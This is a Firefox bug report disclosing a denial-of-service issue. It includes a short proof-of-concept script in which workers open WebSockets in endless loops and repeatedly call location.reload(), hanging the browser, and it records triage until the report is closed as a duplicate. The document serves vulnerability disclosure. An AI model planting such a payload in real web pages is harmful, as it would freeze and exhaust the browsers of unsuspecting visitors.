Closed Bug 1326016 Opened 8 years ago Closed 8 years ago

Browser Hung/Crash on using location.reload() continuously off workers/sockets

Categories

(Core :: DOM: Core & HTML, defect, P3)

50 Branch
defect

Tracking

()

RESOLVED DUPLICATE of bug 1300658

People

(Reporter: mishra.dhiraj95, Unassigned)

Details

(Keywords: csectype-dos, sec-low)

Attachments

(1 file)

564.86 KB, application/zip
Details
Attached file POC.ZIP
User Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Build ID: 20161208153507

Steps to reproduce:

Hi , 

Steps to Reproduce:
* Open Firefox on any OS / Android platform.
* Visit http://hackies.in/sock.html 
* Browser hangs up

However, it also uses a lot of memory from the system. 
Once the browser gets closed gives a message :

The Exception Break Point is been reached 
(0x80000003) occurred in the application at location 0x6cfbec79 

Seems like to be crashed but didn't got any crash ID on about:crashes


Actual results:

Other Browser:
Chrome : https://bugs.chromium.org/p/chromium/issues/detail?id=676659
Edge : OK
Safari : OK 
IE : OK 


Expected results:

Please find the attached Screen Shot and (sock.html) file for reference.

Thank you
Summary: Browser Hung/Crash using on using Socket. → Browser Hung/Crash on using Socket.
OS: Unspecified → All
Hardware: Unspecified → All
HTML contains:

new SharedWorker(URL.createObjectURL(new Blob(["onconnect=function(e) {while(true) {var ws=new WebSocket('ws://localhost:9997/echo');e.ports[0].postMessage('hello');}}"],{ "type" : "text/javascript" }))).port.onmessage=function(ev2) {
  location.reload();
}

new Worker(URL.createObjectURL(new Blob(["while (true) {new WebSocket('ws://localhost:9998/echo');self.postMessage('hello');}"],{ "type" : "text/javascript" }))).onmessage=function(ev) {
  location.reload();
}

setInterval("window.open('','_self','');window.close();",5000);
Group: firefox-core-security
Product: Firefox → Core
Summary: Browser Hung/Crash on using Socket. → Browser Hung/Crash on using location.reload() continuously off workers/sockets
User Agent: Mozilla/5.0 (Windows NT 6.1; rv:50.1) Gecko/20100101 Firefox/50.0
Build ID: 20160801030227

I managed to reproduce it on Firefox and also on Internet Explorer, in all cases the browser hangs up.
Component: Untriaged → DOM
Priority: -- → P3
On edge, I didn't manage to reproduce this, I believe, because of the error "SharedWorker" is undefined. If I commented the lines |new SharedWorker...| but left |new Worker...| only, this issue appears on Edge.
Can you try this on beta or dev edition?  Bug 1300658 may have helped here, but is only shipped in FF51.
Flags: needinfo?(mishra.dhiraj95)
Yes , Its working in Beta and Mozilla Developer Edition as well.
Flags: needinfo?(mishra.dhiraj95)
Thanks for testing!
Status: UNCONFIRMED → RESOLVED
Closed: 8 years ago
Resolution: --- → DUPLICATE
Component: DOM → DOM: Core & HTML
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: